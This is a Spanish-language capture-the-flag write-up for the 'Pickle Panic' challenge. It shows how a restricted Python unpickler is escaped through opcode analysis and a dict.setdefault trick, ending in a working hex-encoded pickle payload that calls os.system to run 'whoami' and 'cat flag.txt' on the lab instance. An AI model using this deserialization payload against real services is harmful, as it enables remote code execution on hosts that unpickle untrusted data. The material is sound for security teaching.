Pickle Panic
9 minutos de lectura
Se nos proporciona este script en Python que se ejecuta en la instancia remota:
#!/usr/bin/env python3
import pickle
import pickletools
import io
import sys
BLACKLIST_OPCODES = {
"BUILD",
"SETITEM",
"SETITEMS",
"DICT",
"EMPTY_DICT",
"INST",
"OBJ",
"NEWOBJ",
"EXT1",
"EXT2",
"EXT4",
"EMPTY_SET",
"ADDITEMS",
"FROZENSET",
"NEWOBJ_EX",
"FRAME",
"BYTEARRAY8",
"NEXT_BUFFER",
"READONLY_BUFFER",
}
module = type(__builtins__)
empty = module("empty")
sys.modules["empty"] = empty
class MyUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "empty" and name.count(".") <= 1 and "setattr" not in name and "setitem" not in name:
return super().find_class(module, name)
else:
raise pickle.UnpicklingError("No :(")
def check(data):
return (
all(
opcode.name not in BLACKLIST_OPCODES
for opcode, _, _ in pickletools.genops(data)
)
and len(data) <= 400
)
if __name__ == "__main__":
data = bytes.fromhex(input("Enter your hex-encoded pickle data: "))
if check(data):
result = MyUnpickler(io.BytesIO(data)).load()
print(f"Result: {result}")
else:
print("Check failed :(")
También tenemos un Dockerfile
con una versión específica de Python:
FROM python@sha256:4949a0cd8c491c3ab21132533a487dbe8fb6dae586b667ed4b3d19c8b127187e
RUN apk add --no-cache socat
RUN adduser --disabled-password --no-create-home picklepanic
COPY challenge /challenge/
WORKDIR /challenge
EXPOSE 1337
ENTRYPOINT ["./entrypoint.sh"]
pickle
internals
Como se puede ver, el script nos permite ingresar un objeto serializado con pickle
que será deserializado posteriormente. Sin embargo, hay una clase personalizada MyUnpickler
que sobrescribe el funcionamiento de pickle
para deshabilitar algunas instrucciones opcode (BLACKLIST_OPCODES
).
Hay una gran cantidad de opcodes. Podemos tomar la lista completa y encontrar las que están permitidas. Usaremos el contenedor Docker para trabajar con la misma versión de Python que la instancia remota:
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c81c7ed47fc8 misc_picklepanic "./entrypoint.sh" 2 minutes ago Up 2 minutes 0.0.0.0:1337->1337/tcp goofy_hypatia
$ docker exec -it c81 sh
/challenge # python3 --version
Python 3.10.11
/challenge # python3 -i challenge.py
Enter your hex-encoded pickle data: asdf
Traceback (most recent call last):
File "/challenge/challenge.py", line 54, in <module>
data = bytes.fromhex(input("Enter your hex-encoded pickle data: "))
ValueError: non-hexadecimal number found in fromhex() arg at position 1
>>> BLACKLIST_OPCODES
{'NEXT_BUFFER', 'EXT4', 'BYTEARRAY8', 'SETITEM', 'SETITEMS', 'DICT', 'BUILD', 'FRAME', 'EXT1', 'EMPTY_DICT', 'FROZENSET', 'READONLY_BUFFER', 'OBJ', 'NEWOBJ_EX', 'INST', 'EMPTY_SET', 'NEWOBJ', 'ADDITEMS', 'EXT2'}
>>> ALL_OPCODES = {'MARK', 'STOP', 'POP', 'POP_MARK', 'DUP', 'FLOAT', 'INT', 'BININT', 'BININT1', 'LONG', 'BININT2', 'NONE', 'PERSID', 'BINPERSID', 'REDUCE', 'STRING', 'BINSTRING', 'SHORT_BINSTRING', 'UNICODE', 'BINUNICODE', 'APPEND', 'BUILD', 'GLOBAL', 'DICT', 'EMPTY_DICT', 'APPENDS', 'GET', 'BINGET', 'INST', 'LONG_BINGET', 'LIST', 'EMPTY_LIST', 'OBJ', 'PUT', 'BINPUT', 'LONG_BINPUT', 'SETITEM', 'TUPLE', 'EMPTY_TUPLE', 'SETITEMS', 'BINFLOAT', 'PROTO', 'NEWOBJ', 'EXT1', 'EXT2', 'EXT4', 'TUPLE1', 'TUPLE2', 'TUPLE3', 'NEWTRUE', 'NEWFALSE', 'LONG1', 'LONG4', 'BINBYTES', 'SHORT_BINBYTES', 'SHORT_BINUNICODE', 'BINUNICODE8', 'BINBYTES8', 'EMPTY_SET', 'ADDITEMS', 'FROZENSET', 'NEWOBJ_EX', 'STACK_GLOBAL', 'MEMOIZE', 'FRAME', 'BYTEARRAY8', 'NEXT_BUFFER', 'READONLY_BUFFER'}
>>> ALL_OPCODES.difference(BLACKLIST_OPCODES)
{'GET', 'STACK_GLOBAL', 'BININT2', 'INT', 'BINSTRING', 'UNICODE', 'NEWTRUE', 'REDUCE', 'NEWFALSE', 'STOP', 'TUPLE', 'EMPTY_LIST', 'LONG_BINPUT', 'SHORT_BINBYTES', 'BINPUT', 'APPEND', 'TUPLE1', 'NONE', 'SHORT_BINUNICODE', 'POP', 'GLOBAL', 'TUPLE2', 'BINUNICODE8', 'DUP', 'POP_MARK', 'BININT1', 'FLOAT', 'LONG', 'PERSID', 'LONG_BINGET', 'LIST', 'TUPLE3', 'BININT', 'BINUNICODE', 'PROTO', 'STRING', 'BINPERSID', 'PUT', 'EMPTY_TUPLE', 'APPENDS', 'SHORT_BINSTRING', 'LONG4', 'LONG1', 'BINGET', 'BINFLOAT', 'MARK', 'BINBYTES', 'MEMOIZE', 'BINBYTES8'}
>>> print('\n'.join(ALL_OPCODES.difference(BLACKLIST_OPCODES)))
GET
STACK_GLOBAL
BININT2
INT
BINSTRING
UNICODE
NEWTRUE
REDUCE
NEWFALSE
STOP
TUPLE
EMPTY_LIST
LONG_BINPUT
SHORT_BINBYTES
BINPUT
APPEND
TUPLE1
NONE
SHORT_BINUNICODE
POP
GLOBAL
TUPLE2
BINUNICODE8
DUP
POP_MARK
BININT1
FLOAT
LONG
PERSID
LONG_BINGET
LIST
TUPLE3
BININT
BINUNICODE
PROTO
STRING
BINPERSID
PUT
EMPTY_TUPLE
APPENDS
SHORT_BINSTRING
LONG4
LONG1
BINGET
BINFLOAT
MARK
BINBYTES
MEMOIZE
BINBYTES8
Pruebas
Solo para probar, analicemos un exploit de RCE típico de pickle
:
>>> class Evil():
... def __reduce__(self):
... return exec, ('import os; os.system("whoami")', )
...
>>> data = pickle.dumps(Evil())
>>> data
b'\x80\x04\x95:\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x1eimport os; os.system("whoami")\x94\x85\x94R\x94.'
>>> pickletools.dis(data)
0: \x80 PROTO 4
2: \x95 FRAME 58
11: \x8c SHORT_BINUNICODE 'builtins'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'exec'
28: \x94 MEMOIZE (as 1)
29: \x93 STACK_GLOBAL
30: \x94 MEMOIZE (as 2)
31: \x8c SHORT_BINUNICODE 'import os; os.system("whoami")'
63: \x94 MEMOIZE (as 3)
64: \x85 TUPLE1
65: \x94 MEMOIZE (as 4)
66: R REDUCE
67: \x94 MEMOIZE (as 5)
68: . STOP
highest protocol among opcodes = 4
>>> check(data)
False
>>> MyUnpickler(io.BytesIO(data)).load()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/challenge/challenge.py", line 40, in find_class
raise pickle.UnpicklingError("No :(")
_pickle.UnpicklingError: No :(
No iba a ser tan fácil. De hecho, hay varios protocolos de pickle
(el 4
es el que se usa por defecto). El protocolo 0
es más sencillo:
>>> data = pickle.dumps(Evil(), protocol=0)
>>> data
b'c__builtin__\nexec\np0\n(Vimport os; os.system("whoami")\np1\ntp2\nRp3\n.'
>>> pickletools.dis(data)
0: c GLOBAL '__builtin__ exec'
18: p PUT 0
21: ( MARK
22: V UNICODE 'import os; os.system("whoami")'
54: p PUT 1
57: t TUPLE (MARK at 21)
58: p PUT 2
61: R REDUCE
62: p PUT 3
65: . STOP
highest protocol among opcodes = 0
>>> check(data)
True
>>> MyUnpickler(io.BytesIO(data)).load()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/challenge/challenge.py", line 40, in find_class
raise pickle.UnpicklingError("No :(")
_pickle.UnpicklingError: No :(
Pero falla de nuevo. En este punto, debemos entender cómo funciona pickle
. Básicamente, es una VM con algunos opcodes, una pila y una memoria. Estos son algunos opcodes importantes:
GLOBAL
: Este carga un módulo y un símbolo en la pila, para que se pueda llamar despuésMARK
: Establece una marca de un objeto que irá a la pilaTUPLE
: Define una tupla hasta el anteriorMARK
EMPTY_TUPLE
: Sube una tupla vacía sobre la pilaREDUCE
: Llama amodule.function
(deGLOBAL
) usando los elementos en la pila como argumentos (deMARK
)PUT
: Ingresa al objeto actual de la pila en un índice dado de la memoriaGET
: Toma el objeto en un índice dado de la memoria y lo pone en la pilaINT
: Define un enteroSTRING
: Define una stringPOP
: Borra la pilaSTOP
: Dice apickle
que termine la ejecución
Hay más opcodes que podrían ser útiles. Más información sobre esta VM de pickle
en los siguientes recursos:
- Sour Pickles
- ångstromCTF 2021 - Jar/Snake/Ekans
- How pickle works in Python
- pickled-onions
- Bypassing Python sandboxes
- Arbitrary code execution with Python pickles
- _pickle.c
Limitaciones
La clase personalizada MyUnpickler
restringe mucho (aparte de BLACKLIST_OPCODES
):
if module == "empty" and name.count(".") <= 1 and "setattr" not in name and "setitem" not in name:
return super().find_class(module, name)
En primer lugar, solo podemos usar un módulo llamado empty
, que se define como “vacío”:
module = type(__builtins__)
empty = module("empty")
sys.modules["empty"] = empty
Entonces, no podemos usar os
, sys
, __builtins__
… Pero, aunque el módulo está “vacío”, hay algunos atributos:
>>> empty
<module 'empty'>
>>> dir(empty)
['__doc__', '__loader__', '__name__', '__package__', '__spec__']
Y aún más, si tomamos como inspiración algunos técnicas de escapada de jaulas de Python:
>>> empty.__dict__
{'__name__': 'empty', '__doc__': None, '__package__': None, '__loader__': None, '__spec__': None}
>>> empty.__class__
<class 'module'>
>>> empty.__repr__
<method-wrapper '__repr__' of module object at 0xffff7f526cf0>
Siguiendo con las limitaciones, no podemos usar setattr
o setitem
:
>>> help(setattr)
Help on built-in function setattr in module builtins:
setattr(obj, name, value, /)
Sets the named attribute on the given object to the specified value.
setattr(x, 'y', v) is equivalent to ``x.y = v''
>>> empty.__setattr__
<method-wrapper '__setattr__' of module object at 0xffff7f526cf0>
Hay una limitación más, que es el número máximo de un punto en el opcode GLOBAL
.
Desarrollo del exploit
Con todas las limitaciones, comencé a jugar con la VM de pickle
y conseguí que imprimiera una string arbitraria. Primero encontré una forma de hacerlo usando Python:
>>> empty.__class__
<class 'module'>
>>> empty.__class__.__class__
<class 'type'>
>>> empty.__name__
'empty'
>>> empty.__class__.__class__(empty.__name__)
<class 'str'>
>>> empty.__class__.__class__(empty.__name__)('asdf')
'asdf'
Y luego lo traduje a código pickle
:
>>> data = b"\x80\x04cempty\n__class__.__class__\n(cempty\n__name__\ntR(S'asdf'\ntR."
>>> pickletools.dis(data)
0: \x80 PROTO 4
2: c GLOBAL 'empty __class__.__class__'
29: ( MARK
30: c GLOBAL 'empty __name__'
46: t TUPLE (MARK at 29)
47: R REDUCE
48: ( MARK
49: S STRING 'asdf'
57: t TUPLE (MARK at 48)
58: R REDUCE
59: . STOP
highest protocol among opcodes = 2
>>> check(data)
True
>>> MyUnpickler(io.BytesIO(data)).load()
'asdf'
La idea es poder acceder al atributo __globals__
y encontrar el módulo os
para ejecutar system
, como se muestra en HackTricks. Podemos hacer esto así:
>>> empty.__class__.__base__.__subclasses__()[137].__init__.__globals__['system']('whoami')
root
0
Lo anterior se puede escribir más verbosamente como:
>>> empty.__class__.__base__.__subclasses__().__getitem__(137).__init__.__globals__.__getitem__('system')('whoami')
root
0
El problema es que no podemos escribir lo anterior como un código pickle
que pase todas las limitaciones…
El truco
Hay una función útil aquí:
>>> empty.__dict__
{'__name__': 'empty', '__doc__': None, '__package__': None, '__loader__': None, '__spec__': None}
>>> type(empty.__dict__)
<class 'dict'>
>>> dir(empty.__dict__)
['__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__ior__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__ror__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
Desplácese un poco si es necesario… es setdefault
:
>>> empty.__dict__.setdefault
<built-in method setdefault of dict object at 0xffff7f4e0bc0>
>>> help(empty.__dict__.setdefault)
Help on built-in function setdefault:
setdefault(key, default=None, /) method of builtins.dict instance
Insert key with a value of default if key is not in the dictionary.
Return the value for key if key is in the dictionary, else default.
Esta función nos permite establecer un atributo a un objeto dict
. Esto es bastante necesario en nuestra situación para almacenar objetos intermedios (recuerde la limitación del número de .
). Además, esto es como un bypass para la lista negra de setattr
y setitem
.
Entonces, después de varios ejemplos y puebas, escribí el siguiente código pickle
:
>>> data = b"\x80\x04cempty\n__dict__.setdefault\n(S'a'\ncempty\n__class__.__base__\ntR0cempty\na.__subclasses__\n)Rp0\n0cempty\n__dict__.setdefault\n(S'b'\ng0\ntR0cempty\nb.__getitem__\n(I137\ntRp1\n0cempty\n__dict__.setdefault\n(S'c'\ng1\ntR0cempty\n__dict__.setdefault\n(S'd'\ncempty\nc.__init__\ntR0cempty\n__dict__.setdefault\n(S'e'\ncempty\nd.__globals__\ntR0cempty\ne.__getitem__\n(S'system'\ntR(S'whoami'\ntR."
>>> pickletools.dis(data)
0: \x80 PROTO 4
2: c GLOBAL 'empty __dict__.setdefault'
29: ( MARK
30: S STRING 'a'
35: c GLOBAL 'empty __class__.__base__'
61: t TUPLE (MARK at 29)
62: R REDUCE
63: 0 POP
64: c GLOBAL 'empty a.__subclasses__'
88: ) EMPTY_TUPLE
89: R REDUCE
90: p PUT 0
93: 0 POP
94: c GLOBAL 'empty __dict__.setdefault'
121: ( MARK
122: S STRING 'b'
127: g GET 0
130: t TUPLE (MARK at 121)
131: R REDUCE
132: 0 POP
133: c GLOBAL 'empty b.__getitem__'
154: ( MARK
155: I INT 137
160: t TUPLE (MARK at 154)
161: R REDUCE
162: p PUT 1
165: 0 POP
166: c GLOBAL 'empty __dict__.setdefault'
193: ( MARK
194: S STRING 'c'
199: g GET 1
202: t TUPLE (MARK at 193)
203: R REDUCE
204: 0 POP
205: c GLOBAL 'empty __dict__.setdefault'
232: ( MARK
233: S STRING 'd'
238: c GLOBAL 'empty c.__init__'
256: t TUPLE (MARK at 232)
257: R REDUCE
258: 0 POP
259: c GLOBAL 'empty __dict__.setdefault'
286: ( MARK
287: S STRING 'e'
292: c GLOBAL 'empty d.__globals__'
313: t TUPLE (MARK at 286)
314: R REDUCE
315: 0 POP
316: c GLOBAL 'empty e.__getitem__'
337: ( MARK
338: S STRING 'system'
348: t TUPLE (MARK at 337)
349: R REDUCE
350: ( MARK
351: S STRING 'whoami'
361: t TUPLE (MARK at 350)
362: R REDUCE
363: . STOP
highest protocol among opcodes = 2
Y funciona!
>>> check(data)
True
>>> MyUnpickler(io.BytesIO(data)).load()
root
0
Ahora ejecutemos cat flag.txt
:
>>> data = data.replace(b'whoami', b'cat flag.txt')
>>> MyUnpickler(io.BytesIO(data)).load()
HTB{fake_flag_for_testing}
0
Flag
Entonces, tomemos el código pickle
en exadecimal y obtengamos la flag en la instancia remota:
>>> data.hex()
'800463656d7074790a5f5f646963745f5f2e73657464656661756c740a28532761270a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a74523063656d7074790a612e5f5f737562636c61737365735f5f0a295270300a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532762270a67300a74523063656d7074790a622e5f5f6765746974656d5f5f0a28493133370a745270310a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532763270a67310a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532764270a63656d7074790a632e5f5f696e69745f5f0a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532765270a63656d7074790a642e5f5f676c6f62616c735f5f0a74523063656d7074790a652e5f5f6765746974656d5f5f0a28532773797374656d270a745228532763617420666c61672e747874270a74522e'
Al principio no se ejecutó bien, y fue porque os
no se encontró en el índice 137
de __subclasses__()
sino en el índice 138
:
$ nc 178.62.74.235 32575
Enter your hex-encoded pickle data: 800463656d7074790a5f5f646963745f5f2e73657464656661756c740a28532761270a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a74523063656d7074790a612e5f5f737562636c61737365735f5f0a295270300a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532762270a67300a74523063656d7074790a622e5f5f6765746974656d5f5f0a28493133380a745270310a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532763270a67310a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532764270a63656d7074790a632e5f5f696e69745f5f0a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532765270a63656d7074790a642e5f5f676c6f62616c735f5f0a74523063656d7074790a652e5f5f6765746974656d5f5f0a28532773797374656d270a745228532763617420666c61672e747874270a74522e
HTB{P1ckle_15_Aw3s0m3_f0r_S3rial1z4t10n}
Result: 0